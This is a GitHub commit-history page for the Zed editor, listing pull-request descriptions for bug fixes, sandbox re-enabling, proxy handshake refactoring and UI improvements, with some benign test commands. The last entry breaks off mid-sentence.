ea7ae181143d66e0e89793e8ba2efd43cc50e038
5011
Commits
| Author | SHA1 | Message | Date | |
|---|---|---|---|---|
|
|
e5c9663b4f |
agent: Fix NTFS warning breaking terminal tool when WSL not available (#62049)
There is a bug on main and preview causes all terminal tool calls to fail when: - on windows - sandboxing is not available (i.e. no WSL) - sandboxing is enabled in settings (the default) - the "warn windows-drive grants" setting is enabled (the default) Example error: <img width="352" height="79" alt="image" src="https://github.com/user-attachments/assets/24affbec-f086-40eb-8827-ad74aabc6167" /> This PR fixes it by making sure we only show the check at the right time --- Release Notes: - N/A or Added/Fixed/Improved ... |
||
|
|
01961bef59 |
Speed up cargo build -p zed compilation (#62059)
Splits the crate graph.
Before, the compilation graph: `editor → picker_preview → search →
project_panel → open_path_prompt → recent_projects → title_bar →
collab_ui → zed`
After, the compilation graph: `editor → picker_preview → search →
agent_ui → sidebar → zed`
With sccache disabled and project fully built, `touch
crates/editor/src/editor.rs` and `cargo build -p zed` took time
Before (
|
||
|
|
458c973cbb |
Honor window preference when opening remote projects (#61048)
# Objective Fixes #60873. `projects::OpenRemote` has two handling paths: - The remote-project picker handles `from_existing_connection: false`. - The active remote workspace handles `from_existing_connection: true`. The existing-connection path ignored the action’s `create_new_window` field. Consequently, selecting another project from an active SSH workspace always created a new OS window—even when: - the action explicitly specified `create_new_window: false`, or - `create_new_window` was omitted and `default_open_behavior` was set to `"existing_window"`. The expected behavior is: | `create_new_window` | `default_open_behavior` | Result | |---|---|---| | `true` | Any value | Open a new window | | `false` | Any value | Reuse the current window | | Not specified | `"new_window"` | Open a new window | | Not specified | `"existing_window"` | Reuse the current window | ## Root cause The `from_existing_connection: true` action handler forwarded the selected paths to `open_new_ssh_project_from_project` without reading `action.create_new_window`. That helper then called `open_remote_project` with: ```rust OpenOptions { workspace_matching: WorkspaceMatching::None, ..Default::default() } ``` This left `OpenOptions::requesting_window` as `None`. The remote-opening path interprets a missing requesting window as a request to create a new window, so the action always opened one regardless of the action payload or workspace setting. ## Solution The existing-connection action handler now resolves `create_new_window` before starting the asynchronous open operation. When the action does not provide an explicit value, it uses the same `WorkspaceSettings::default_open_behavior` fallback as the normal project-opening path: ```rust let create_new_window = action.create_new_window.unwrap_or_else(|| { matches!( WorkspaceSettings::get_global(cx).default_open_behavior, DefaultOpenBehavior::NewWindow ) }); ``` The resolved boolean is passed to `open_new_ssh_project_from_project`. The helper translates that policy into the existing `OpenOptions` API: - When `create_new_window` is `true`, `requesting_window` remains `None`. - When it is `false`, `requesting_window` is set to the current `MultiWorkspace` window handle. The existing `WorkspaceMatching::None` behavior is intentionally preserved. This PR changes only which OS window hosts the opened remote workspace; it does not change workspace matching, path selection, connection handling, telemetry, or error behavior. ### Why resolve the setting in the action handler? The action handler is where the explicit action value and the workspace setting are both available. Resolving the option there also matches the neighboring local and remote project-opening flows. Passing the resolved boolean keeps the helper’s input aligned with the user-facing policy while allowing the helper to translate it into the lower-level `requesting_window` representation. ### Why not change `open_remote_project`? `open_remote_project` is shared by several remote-opening flows. Inferring an active window inside that function would change the semantics of unrelated callers that deliberately omit `requesting_window` to create a new window. Keeping the change in the existing-connection action path limits the behavioral change to the reported issue. ### Dependency impact The regression test needs a real mock remote workspace so that it exercises the same action registration and remote-client checks as the application. The following test-support development dependencies were enabled for the `zed` crate: - `fs`, for `FakeFs` - `remote`, for the mock `RemoteClient` - `remote_server`, for `HeadlessProject` These are development-only dependencies and do not change Zed’s runtime dependency graph. The `Cargo.lock` change records `remote_server` as a dependency of the `zed` package under the test configuration. ## Testing Added an end-to-end GPUI regression test: ```text test_open_remote_from_existing_connection_reuses_window ``` The test: 1. Creates a fake remote filesystem with two project directories. 2. Starts a headless mock remote server. 3. Opens the initial project through `open_remote_project`. 4. Verifies that exactly one window exists. 5. Transitions the mock client to `ServerNotRunning`. 6. Injects `/other-project` as the path-prompt result. 7. Dispatches: ```rust zed_actions::OpenRemote { from_existing_connection: true, create_new_window: Some(false), } ``` 8. Verifies that the application still has exactly one window. 9. Answers the expected failed-reconnection prompt with `Cancel`, allowing the detached action task to terminate cleanly. The unavailable-server step keeps the test focused on window routing. It avoids requiring a second successful mock SSH lifecycle while still exercising the real action handler, path prompt, remote workspace, helper, and `open_remote_project` entry point. Before the production change, the test failed with: ```text create_new_window: false should reuse the current window left: 2 right: 1 ``` After the change, the test passes. ### Verification performed Focused regression test: ```sh cargo test -p zed test_open_remote_from_existing_connection_reuses_window ``` Result: ```text 1 passed; 0 failed ``` GPUI scheduler sweep: ```sh ITERATIONS=20 cargo test -q -p zed test_open_remote_from_existing_connection_reuses_window -- --nocapture ``` Result: ```text Seeds 0 through 19 passed ``` Complete `zed` test target, run serially because several existing tests share global session state: ```sh cargo test -q -p zed -- --test-threads=1 ``` Result: ```text 74 passed; 0 failed; 1 ignored ``` Formatting: ```sh cargo fmt -p zed --check ``` Repository-prescribed Clippy check: ```sh ./script/clippy -p zed ``` This ran the release, all-targets, all-features configuration with warnings denied and completed successfully. The change and test were run on Fedora Linux. ### Manual verification This can also be verified interactively: 1. Connect to a project over SSH. 2. Bind or dispatch: ```json [ "projects::OpenRemote", { "from_existing_connection": true, "create_new_window": false } ] ``` 3. Select another directory on the connected host. 4. Confirm that the project opens in the current Zed window. 5. Repeat with `create_new_window: true` and confirm that a new window is created. 6. Omit `create_new_window` and confirm that the result follows `default_open_behavior`. No screenshot is included because this does not change rendered UI; it changes which window contains the opened remote workspace. ## Scope and impact - No unsafe code was added. - No remote protocol or transport behavior changed. - No settings schema changed. - No action schema changed. - No user-facing strings changed. - No new runtime dependencies were introduced. - The added work is limited to resolving one optional boolean and downcasting the current window handle when reuse is requested. - The window-handle lookup occurs only when this action is dispatched and has no meaningful performance impact. ## Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [x] Unsafe blocks (if any) have justifying comments - [x] The content adheres to Zed's UI standards ([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) and [icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md) guidelines) - [x] Tests cover the new/changed behavior - [x] Performance impact has been considered and is acceptable --- Release Notes: - Fixed opening a project from an existing remote connection to respect the configured window behavior. |
||
|
|
0cf4dacd26 |
extensions_ui: Move logic to render extension card details into ExtensionCard component (#61850)
This PR reworks the extension card component to take care of most the rendering. It no longer implements `ParentElement` and instead takes care of rendering the details of the card now. This also allows us to finally render the list of features for dev extensions amongst some other cleanup whilst working with these. ## Why this change? This is in preparation for allowing to show extensions locally when the fetch fails based on the information available. Currently, this would require a lot of duplication and would be tedious to add. With this in, we can much more easily just construct an extension card with the upstream metadata missing, removing the need for duplication. Lastly, this also adds a component preview for extensions cards so we can play around more easily with other designs. Release Notes: - Installed dev extensions will now show the features they provide and will also respect feature filters. |
||
|
|
83b8578aa5 |
fuzzy: Remove util dependency (#61933)
Release Notes: - N/A or Added/Fixed/Improved ... |
||
|
|
e974c3b920 |
fuzzy_nucleo: Remove util dependency (#61929)
Release Notes: - N/A or Added/Fixed/Improved ... |
||
|
|
ca474e2252 |
image_viewer: Fix texture leak when reloading images (#58803)
When the image viewer reloads an image after the underlying file changes, it now tracks the `RenderImage` currently displayed by the view and drops that image’s atlas entry before replacing it with a newly decoded render image. This prevents rapidly updated images from accumulating atlas textures per reload while keeping cleanup scoped to the window that displayed the image. Closes #35894 Release Notes: - Fixed a memory leak when previewing images that are repeatedly updated on disk. --------- Co-authored-by: Smit Barmase <heysmitbarmase@gmail.com> |
||
|
|
36ce2c40ab |
copilot: Use separate authentication paths for edit prediction and chat (#60535)
Release Notes: - copilot: Improve robustness of copilot chat provider by splitting authorisation paths for edit predictions and chat. Note: Existing users will have to re-authenticate with Copilot --------- Co-authored-by: cameron <cameron.studdstreet@gmail.com> Co-authored-by: zed-zippy[bot] <234243425+zed-zippy[bot]@users.noreply.github.com> |
||
|
|
8bd6eb0b9f |
Bump Zed to v1.15.0 (#61866)
Release Notes: - N/A Co-authored-by: zed-zippy[bot] <234243425+zed-zippy[bot]@users.noreply.github.com> |
||
|
|
a622ac0531 |
agent: Re-enable sandbox (#61711)
Fixes the bug that made us remove the sandbox. The bug in question was very dumb: - there is sophisticated machinery for detecting whether a user-granted writable path is swapped out for a symlink in the timing gap between approval and sandbox creation - there was no equivalent machinery to do the same for the (much larger) gap between a user *persisting an approval* (either for the current thread or permanently via settings) - The fix is essentially to store canonical (i.e. absolute and symlink-free at all depths) paths as the source of truth, but retain the raw path for display purposes - On WSL, there is extra care needed becasue of the bidirectional mounting (i.e. `/mnt/c/...` and `\\wsl.localhost\Ubuntu\...`). In particular, `/mnt/c/...` paths, since their inodes do not necessarily pin NTFS file references, weaken the sandbox guarantees, and so we need some extra UI to call this out and docs etc... This also does not remove the feature flag, but just toggles it to "enabled_for_all" --- Release Notes: - N/A or Added/Fixed/Improved ... --------- Co-authored-by: Richard Feldman <oss@rtfeldman.com> Co-authored-by: Jakub Konka <kubkon@jakubkonka.com> Co-authored-by: Danilo Leal <daniloleal09@gmail.com> Co-authored-by: zed-zippy[bot] <234243425+zed-zippy[bot]@users.noreply.github.com> |
||
|
|
ab1acf7ae2 |
ui: Fix scrollbar animation timing on web (#61786)
Use `web_time::Instant` instead of `std::time::Instant` when advancing scrollbar animations. This uses the web platform's compatible clock in WASM builds. Release Notes: - N/A |
||
|
|
0fa79e9f5b |
gpui_web: Point wasm_thread at a fork that fixes the wasm-bindgen init call (#61807)
Co-authored-by: Claude Opus 5 (1M context) <noreply@anthropic.com> |
||
|
|
94b4c3ac02 |
call: Expand audio call diagnostics (#61744)
Closes FR-140 Release Notes: - Improved call diagnostics with per-participant audio health history and exportable reports. |
||
|
|
be07d51f8d |
Move OpenAI subscription code to separate crate (#61787)
Release Notes: - N/A |
||
|
|
7f82c86cd7 |
feature_flags: Enable project panel undo everywhere except stable (#61457)
# Objective Enable the Project Panel Undo/Redo feature flag in all channels except stable. This gives us control over when it lands in Stable, while also allowing us to have it sit in Preview for longer than a single week, if we want to. ## Solution Update `ProjectPanelUndoRedoFeatureFlag::enabled_for_all` to be true on all release channels except `ReleaseChannel::Stable`. The feature flag doesn't allow us to scope it per environment so there's no way we could enable the flag for all but only have it impact Preview, should have added that safeguard in the beginning as stable is already relying on the feature flag exclusively. ## Testing N/A ## Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [ ] Unsafe blocks (if any) have justifying comments - [ ] The content adheres to Zed's UI standards ([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) and [icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md) guidelines) - [ ] Tests cover the new/changed behavior - [ ] Performance impact has been considered and is acceptable --- Release Notes: - N/A |
||
|
|
cf688465c7 |
project_panel: Refactor undo and redo error messages (#60186)
# Objective Improve the error messages shown when undoing or redoing project panel operations fail. Right now we're mostly relying on the error message generated by the underlying function or method that attempts to apply the inverse operation, which might not be the best UX. ## Solution * Update the style used in the `Workspace::show_notification` call, under `project_panel::undo::Inner::show_error`, in order to use markdown styling. This allows paths to stand out a little bit better, which is helpful seeing as pretty much all error messages will contain path information in the notification's body. * Update the way paths are displayed so as to show the full relative path and, if multiple worktrees are present, include the worktree name. This helps disambiguate cases where multiple worktrees might have the same path, for example, `src/lib.rs`. * Update each specific operation's error message to better convey what exactly failed. ## Testing Manually tested each of the scenarios outlined in the `Showcase` section. Please refer to the screenshots in that section to see before and after comparisons ## Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [ ] Unsafe blocks (if any) have justifying comments - [x] The content adheres to Zed's UI standards ([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) and [icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md) guidelines) - [ ] Tests cover the new/changed behavior - [x] Performance impact has been considered and is acceptable ## Showcase ### Undo failures <details> <summary>1. Move conflict</summary> | Steps | Before | After | | --- | --- | --- | | 1. Move `a.txt` into `docs/` (cut/paste or drag)<br>2. Run `touch a.txt`<br>3. Undo | <img width="2736" height="1586" alt="1_before" src="https://github.com/user-attachments/assets/d60660d1-ba85-4a08-82a3-a6e3f6d84506" /> | <img width="2736" height="1586" alt="1_after" src="https://github.com/user-attachments/assets/c050f287-b186-42db-8995-57102d1db4d2" /> | </details> <details> <summary>2. Rename conflict</summary> | Steps | Before | After | | --- | --- | --- | | 1. Rename `a.txt` → `b.txt`<br>2. Run `touch a.txt`<br>3. Undo | <img width="2736" height="1586" alt="2_before" src="https://github.com/user-attachments/assets/0c0eb0bc-ea01-4642-a63a-69687b2ba13e" /> | <img width="2736" height="1586" alt="2_after" src="https://github.com/user-attachments/assets/68dba045-60b2-462e-9f34-5bb038a4a245" /> | </details> <details> <summary>3. Source no longer exists</summary> | Steps | Before | After | | --- | --- | --- | | 1. Move `a.txt` into `docs/`<br>2. Run `rm docs/a.txt`<br>3. Undo | <img width="2736" height="1586" alt="3_before" src="https://github.com/user-attachments/assets/2f55327c-d478-44f5-ac85-5e0b10044a52" /> | <img width="2736" height="1586" alt="3_after" src="https://github.com/user-attachments/assets/5296b431-c2a1-408e-8920-9f2d5c1d169a" /> | </details> <details> <summary>4. Restore from emptied Trash</summary> | Steps | Before | After | | --- | --- | --- | | 1. Delete `a.txt` (moves it to Trash)<br>2. Empty it from the system Trash<br>3. Undo | <img width="2736" height="1586" alt="4_before" src="https://github.com/user-attachments/assets/41966e44-409a-4ae2-ada1-59992658f1b5" /> | <img width="2736" height="1586" alt="4_after" src="https://github.com/user-attachments/assets/f6df01f9-0702-4f28-80aa-eb2289077ea5" /> | </details> <details> <summary>5. Restore collision</summary> | Steps | Before | After | | --- | --- | --- | | 1. Delete `a.txt` (to Trash)<br>2. Run `touch a.txt`<br>3. Undo | <img width="2736" height="1586" alt="5_before" src="https://github.com/user-attachments/assets/f4151e85-7668-4dab-8cf4-b45ef0fdb741" /> | <img width="2736" height="1586" alt="5_after" src="https://github.com/user-attachments/assets/3f25aa56-1b59-4230-9a15-b39a0d280a48" /> | </details> <details> <summary>6. Trash a file that's gone</summary> | Steps | Before | After | | --- | --- | --- | | 1. Create `empty.txt` in the panel<br>2. Run `rm empty.txt`<br>3. Undo | <img width="2736" height="1586" alt="6_before" src="https://github.com/user-attachments/assets/077edeb8-3618-4b72-b49f-9d1cc3a801d5" /> | <img width="2736" height="1586" alt="6_after" src="https://github.com/user-attachments/assets/4b1d6689-93b1-4725-8829-2f71b4b586e9" /> | </details> ### Redo failures <details> <summary>7. Redo a move into an occupied destination</summary> | Steps | Before | After | | --- | --- | --- | | 1. Move `a.txt` into `docs/`, then Undo (file back at root)<br>2. Run `touch docs/a.txt`<br>3. Redo | <img width="2736" height="1586" alt="7_before" src="https://github.com/user-attachments/assets/d6591d08-b0a1-4992-866f-fcc26491ba8c" /> | <img width="2736" height="1586" alt="7_after" src="https://github.com/user-attachments/assets/b46d5fe2-09be-4264-9834-f5965f5f1150" /> | </details> <details> <summary>8. Redo a restore after the Trash was emptied</summary> | Steps | Before | After | | --- | --- | --- | | 1. Create `empty.txt`, then Undo (it gets trashed)<br>2. Empty it from the system Trash<br>3. Redo | <img width="2736" height="1586" alt="8_before" src="https://github.com/user-attachments/assets/9ced2696-1bdf-4b33-aaaf-abc015787505" /> | <img width="2736" height="1586" alt="8_after" src="https://github.com/user-attachments/assets/bfc84fc3-c97f-474d-857c-3d5137d06b83" /> | </details> <details> <summary>9. Redo a re-trash of a deleted file</summary> | Steps | Before | After | | --- | --- | --- | | 1. Delete `a.txt` (to Trash), then Undo (restores it)<br>2. Run `rm a.txt`<br>3. Redo | <img width="2736" height="1586" alt="9_before" src="https://github.com/user-attachments/assets/3152787d-c02c-482e-a70a-600e97a44b3b" /> | <img width="2736" height="1586" alt="9_after" src="https://github.com/user-attachments/assets/7dd40497-0dfc-41fa-a6ac-772562d29258" /> | </details> --- Release Notes: - N/A |
||
|
|
6746a42cc1 |
fs: Update trash-rs version (#61721)
# Objective Update the version of `trash-rs` used in order to contain the fix for the panic when restoring a non-existing trash item in Linux – https://github.com/zed-industries/trash-rs/commit/41c6c800d884a89351f3b8856d12894cccee261d . ## Solution N/A ## Testing N/A ## Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [ ] Unsafe blocks (if any) have justifying comments - [ ] The content adheres to Zed's UI standards ([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) and [icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md) guidelines) - [ ] Tests cover the new/changed behavior - [x] Performance impact has been considered and is acceptable --- Release Notes: - N/A |
||
|
|
538bd19cff |
gpui_web: Fix some bugs (#61707)
Release Notes: - N/A or Added/Fixed/Improved ... |
||
|
|
ef0b6f158d |
fs: Fix crash loop from closedir panic during worktree scan (#59953)
# Objective Fixes #59952. Zed crash-loops on launch. The faulting thread aborts inside the Rust standard library while closing a directory handle during background worktree scanning: `std`'s `DirStream::drop` (`library/std/src/sys/fs/unix.rs`) `assert!`s that `closedir()` succeeds unless the error is `EINTR`. That handle originates in `RealFs::read_dir`, which wraps `std::fs::read_dir(path)` in `stream::iter(...)` and carries the live `ReadDir` across async boundaries; the worktree `BackgroundScanner` (`scan_dir` → `forcibly_load_paths`) later drops the stream. If `closedir()` returns a non-`EINTR` error (e.g. `EBADF` under file-descriptor pressure — seen alongside repeated `unable to start FSEvent stream` warnings on a large dependency tree), `std` panics inside `Drop`. Zed's `crashes::panic_hook` turns any panic into `process::abort()`, and because the same workspace is re-scanned every launch, this is a permanent crash loop. (`catch_unwind` can't help: the hook aborts before unwinding.) ## Solution Stop relying on `std`'s asserting close. Add a `read_dir_entries(path)` helper that reads entries eagerly so the directory handle is opened and closed within a single call: - On unix, read via libc (`opendir`/`readdir`/`closedir`) and **deliberately ignore a failing `closedir`**, so a close error degrades gracefully instead of aborting the process. - On non-unix, keep `std::fs::read_dir` (which has no such assert) but collect eagerly so the handle is dropped within the call. `RealFs::read_dir` now calls this helper. The change is scoped to `crates/fs/src/fs.rs`; the watcher, scanner, and panic hook are untouched. ## Testing - Added unit tests in `crates/fs/src/fs.rs` for `read_dir_entries`: entry listing, `.`/`..` exclusion, empty directories, and the missing-directory error path. - `cargo test -p fs read_dir` → 3 passed. - `RUSTFLAGS="-D warnings" cargo build -p fs`, `cargo clippy -p fs --all-features --all-targets -- -D warnings`, and `cargo fmt -p fs --check` are all clean. - Tested on macOS (aarch64). The `fs` crate compiles within the full `cargo build -p zed` graph. I could not produce a running app binary in my environment (the `gpui_macos` Metal step needs full Xcode, not just Command Line Tools) — reviewers on a full Xcode setup can `cargo run -p zed`. - The original `closedir` `EBADF` is not deterministically reproducible, so the fix is structural rather than verified against a live repro; the tests guard the read path and behavior. ## Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [x] Unsafe blocks (if any) have justifying comments - [x] The content adheres to Zed's UI standards — N/A (no UI change) - [x] Tests cover the new/changed behavior - [x] Performance impact has been considered and is acceptable --- Release Notes: - Fixed Zed crash-looping on launch when `closedir` fails during background directory scanning ([#59952](https://github.com/zed-industries/zed/issues/59952)). --------- Co-authored-by: Cole Miller <cole@zed.dev> |
||
|
|
19d5ca984a |
gpui_wgpu: Fix bidi paragraph shaping crash (#61651)
Closes FR-133 `cosmic-text`'s BiDi line shaping machinery (`ShapeLine::new`) asserts that every BiDi paragraph is following the same direction. It turns out that our `gpui_wgpu` line shaping adapter would not account for that leading to panics if text contained multiple BiDi paragraphs with multiple directions. Not super common but worth fixing as the fix is not super complicated. At the same time, I'd like to point out that there is a patch submitted to `cosmic-text` that redoes shaping logic so that this is no longer illegal: https://github.com/pop-os/cosmic-text/pull/508 If it gets accepted, we can revert this fix. Release Notes: - Fixed panic in `gpui_wgpu` if text contained multiple BiDi paragraphs with mismatched directions. |
||
|
|
efc3ba73b5 |
csv_preview: Refine filter popover UI (#61138)
# Objective
- The column filter popover was a static `ContextMenu`: no search, and
it didn't scale to columns with many unique values.
## Solution
- Replaced it with a `Picker<ColumnFilterDelegate>` with fuzzy search
and match highlighting over the column's unique values.
- Row order is frozen at open time (available first, then values hidden
by other filters under a "Hidden by other filters" header) so toggling a
value doesn't reshuffle the list.
- Added a footer with `{selected} / {total} rows selected` and "Clear
all".
- Added `fuzzy` and `picker` deps to `csv_preview`.
## Testing
- Search narrows to fuzzy matches with highlighting.
- Toggling a value updates its checkmark and footer count without
closing or reordering the list.
- Values excluded by another column's filter show disabled under "Hidden
by other filters".
- "Clear all" clears the column's filters and keeps the popover open.
## Self-Review Checklist:
- [x] I've reviewed my own diff for quality, security, and reliability
- [ ] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [ ] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable
## Showcase
| Before | After |
| --- | --- |
| <img width="660" height="351" alt="image"
src="https://github.com/user-attachments/assets/c78084a2-d327-4d48-9c05-f35383455713"
/> | <img width="660" height="354" alt="image"
src="https://github.com/user-attachments/assets/910d52ef-4530-4ac7-91ac-3db318cf6c19"
/> |
**+ search**
<img width="972" height="574" alt="image"
src="https://github.com/user-attachments/assets/1a26d0fc-c96c-4973-818d-7d053e8cce73"
/>
---
Release Notes:
- N/A
|
||
|
|
3b9b83b354 |
collab: Fix multiworkspace location out of sync bugs (#61598)
### Summary This PR fixes three small bugs that could cause a multi-workspace's reported location to be out of sync with its actual location, which causes following to break in multiplayer collaboration sessions. The first bug was that each child workspace's title bar within a multi-workspace had its own `cx.observe_window_activation` subscription that would set the associated child workspace's project location. This caused problems because it ran for all child workspaces instead of just the active workspace within the multi-workspace. The fix was moving `cx.observe_window_activation` to the `cx.observe_new` call in the `call` crate that tracks newly created windows/multi-workspaces. The second bug was caused by an incorrect `if` statement in a `MultiWorkspace` subscription that would return early if the window was active and the event emitted by `MultiWorkspace` wasn't `ActiveWorkspaceChanged`. This caused issues when the window was inactive because it would incorrectly set the active call's location to the wrong project. The fix was making the early return happen if the window wasn't active. The third bug was that every child `Workspace` also observed window activation and called `update_active_view_for_followers`. This allowed hidden workspaces to report their active view instead of only the active workspace. ### Testing I added a property test for bugs one/two and another prop test for bug 3 Release Notes: - collab: Fix out of sync following bugs |
||
|
|
af57f1732c |
acp: Update agent-client-protocol SDK to 2.0.0 (#61570)
This isn't ACP v2, but just a new version of the SDK where we had to do some breaking changes + cleanups. Release Notes: - N/A |
||
|
|
414e6fe31e |
client: Extract proxy handshakes into a new proxy_handshake crate (#61427)
This consolidates the proxy code in `client/src/proxy` into a new `proxy_handshake` crate that implements the client side of HTTP CONNECT and SOCKS4/4a/5/5h handshakes sans-IO: the protocol logic is a pure state machine that never touches a socket, with thin drivers behind `futures-io` and `tokio` feature flags. `client` now drives the websocket's proxy tunnel through the tokio driver, and the `tokio-socks` dependency goes away. The main win is testability: the handshakes are now covered by synchronous byte-level tests on both sides of each exchange, plus a property test that the outcome is invariant under how the proxy's bytes are chunked across reads — the class of partial-read bug that's hard to hit with hand-written tests but easy to hit in production behind a buffering proxy. The crate is written as if it were standalone (no zed-internal dependencies, structured errors instead of `anyhow`), which is also why it grows both driver flavors rather than just the one `client` needs today. Two deliberate behavior changes, both converging on spec/curl semantics: - Proxy credentials embedded in URLs are now percent-decoded before use, per RFC 3986 §3.2.1. Previously they were sent in their encoded form, which only worked for credentials with no reserved characters. A password that literally contains something like `%40` and relied on the old behavior now needs the RFC-correct `%2540` spelling. - `NO_PROXY` is now honored for the collaboration connection, matching the exclusions reqwest already applies to the rest of Zed's HTTP traffic. TLS to the proxy itself (for `https://` proxy URLs) and DNS policy stay in `client`, since those are I/O concerns the sans-IO crate deliberately doesn't own. Release Notes: - Improved proxy support: the collaboration connection now respects `NO_PROXY` and percent-encoded proxy credentials. |
||
|
|
97b51f2620 |
language: Fix JSON rainbow bracket colors across chunks (#60741)
## Context
JSON rainbow bracket colors could shift across row chunk boundaries when
large ancestor objects were omitted by the bounded tree-sitter bracket
query window. This fixes the chunk-local depth reset by caching bracket
chunk data together with the active bracket stack after each chunk, then
using that inherited stack when later chunks are computed. For JSON
object braces that are too large for the bounded query, the
implementation recovers active ancestor `{...}` pairs from the syntax
tree so sibling object braces keep the same color even when jumping
directly to a later chunk.
Closes #50185
## How to Review
`crates/language/src/buffer/row_chunk.rs` adds indexed access to row
chunks so bracket cache computation can walk from the nearest cached
chunk up to the requested chunk.
`crates/language/src/buffer.rs` changes bracket range caching from
storing only per-chunk matches to storing per-chunk matches plus the
active bracket stack after that chunk. It preserves the existing bounded
query and greedy-match repair behavior, while adding JSON-specific
ancestor recovery for large object braces omitted by
`MAX_BYTES_TO_QUERY`.
`crates/language/src/buffer_tests.rs` adds a JSON regression fixture
that exceeds `MAX_BYTES_TO_QUERY`, fetches a later chunk before earlier
chunks, and verifies all same-depth sibling object braces keep the same
`color_index` across row chunks.
Video of manual test below :
[Screencast from 2026-07-10
08-09-30.webm](https://github.com/user-attachments/assets/fca6425b-b79c-4097-b4af-148db6aa23d9)
## Self-Review Checklist
- [x] I've reviewed my own diff for quality, security, and reliability
- [ ] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the UI/UX checklist
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable
Release Notes:
- Fixed JSON rainbow bracket colors changing across row chunk
boundaries.
---------
Co-authored-by: Kirill Bulatov <kirill@zed.dev>
|
||
|
|
4ed45d1b9f |
Bump Zed to v1.14.0 (#61488)
Release Notes: - N/A Co-authored-by: zed-zippy[bot] <234243425+zed-zippy[bot]@users.noreply.github.com> |
||
|
|
4ee16d3650 |
Fix the macOS tests that hang locally (#61407)
See also https://github.com/zed-industries/notify/pull/9 <img width="2088" height="266" alt="image" src="https://github.com/user-attachments/assets/f4bc0b5c-76a9-424a-9abc-abde6e56b9db" /> Release Notes: - N/A |
||
|
|
86ffaa94fd |
acp: Update agent-client-protocol to 1.3.0 (#61404)
Brings in some bug fixes from upstream. Release Notes: - N/A |
||
|
|
dc0c66cfeb |
cloud_api_client: Implement Wasm support (#61328)
Release Notes: - N/A or Added/Fixed/Improved ... --------- Co-authored-by: Gaauwe Rombouts <mail@grombouts.nl> |
||
|
|
abfced8e47 |
image_viewer: Allow setting a custom zoom level (#57215)
Allows you to click on the zoom percent to edit it. Right clicking the percentage resets to 100%. Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [ ] Unsafe blocks (if any) have justifying comments - [x] The content is consistent with the [UI/UX checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) - [ ] Tests cover the new/changed behavior - [x] Performance impact has been considered and is acceptable Release Notes: - Added support for editing image viewer zoom levels directly from the toolbar. --------- Co-authored-by: Smit Barmase <heysmitbarmase@gmail.com> |
||
|
|
cfc225d3ae |
extension: Check for rustup before calling it (#56090)
Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [x] Unsafe blocks (if any) have justifying comments - [x] The content is consistent with the [UI/UX checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) - [ ] Tests cover the new/changed behavior - [x] Performance impact has been considered and is acceptable Closes #42353 Release Notes: - Fixed extension building failing on systems where Rust is installed without rustup (e.g., NixOS, distro packages) --------- Co-authored-by: Kirill Bulatov <kirill@zed.dev> |
||
|
|
b832d440a2 |
search: Escape seeded project search query in regex mode (#61335)
Fixes what https://github.com/zed-industries/zed/pull/57748 does for buffer search. When project search is deployed with regex mode enabled and the query is seeded from the editor's selection or the word under the cursor, that text is literal, so regex chars in it (e.g. `.` in `z.d`) are now escaped instead of being interpreted as regex syntax. This follows how VSCode handles it. Release Notes: - Fixed project search queries seeded from the current selection being interpreted as a regular expression instead of literal text when regex mode was enabled. |
||
|
|
2d06fded9c |
Revert "editor: Add language detection for untitled buffers (#61201)" (#61351)
This reverts commit
|
||
|
|
e1ee74dcbf |
worktree_picker: Improve discoverability of tasks as a creation setup mechanism (#61148)
Sometimes when creating Git worktrees, it's necessary to set things up so the new worktree is ready. For example, copying env.vars, installing dependencies, etc. That was already possible in Zed through the tasks system, but you'd only maybe know about that if you read the documentation or is super familiar with it already; nothing in the product in the context of worktrees told you about that. This is what this PR does. Now, in the worktree picker, there's a "" button that opens the `tasks.json` file exposing the `create_worktree` hook, which allows you to plugin all sorts of things to be run by the time of a worktree creation. If you don't already have a `tasks.json` file, we will create a new one for you with a worktree-creation template. Otherwise, we either append the `create_worktree` hook content to it or just open the file. Here's a quick video: https://github.com/user-attachments/assets/21908be4-306b-4cf3-bed0-50d52cad9d79 Release Notes: - Git Worktrees: Improved discoverability of the `create_worktree` hook for setting up things that need to happen by the time of worktree creation. |
||
|
|
a98c7e2fa8 |
editor: Add language detection for untitled buffers (#61201)
# Objective Closes #4868. Untitled buffers start as Plain Text and require users to select a language manually before receiving syntax highlighting. Add lightweight automatic language detection for code entered or pasted into untitled buffers. ## Solution This builds on [Max Stevens's earlier language-detection work](https://github.com/zed-industries/zed/pull/43057), replacing Magika with [Betlang](https://github.com/DioxusLabs/betlang). While researching smaller and faster alternatives to Magika, I came across Betlang, a recently introduced language detection library developed by DioxusLabs for dioxus-code. The fact that it comes from DioxusLabs gave me more confidence in evaluating this relatively new dependency for Zed. Betlang embeds an approximately 50 KB model, is MIT-licensed, and depends only on `fearless_simd`, making it well suited to Zed's cross-platform embedding requirements. Detection runs on the background executor with bounded input sampling. It is restricted to untitled buffers, skips content shorter than 20 bytes, and requires at least 50% confidence. These limits have worked well in local testing. In release builds on Linux with an Intel Core i5-13600KF, the `betlang::detect` call alone 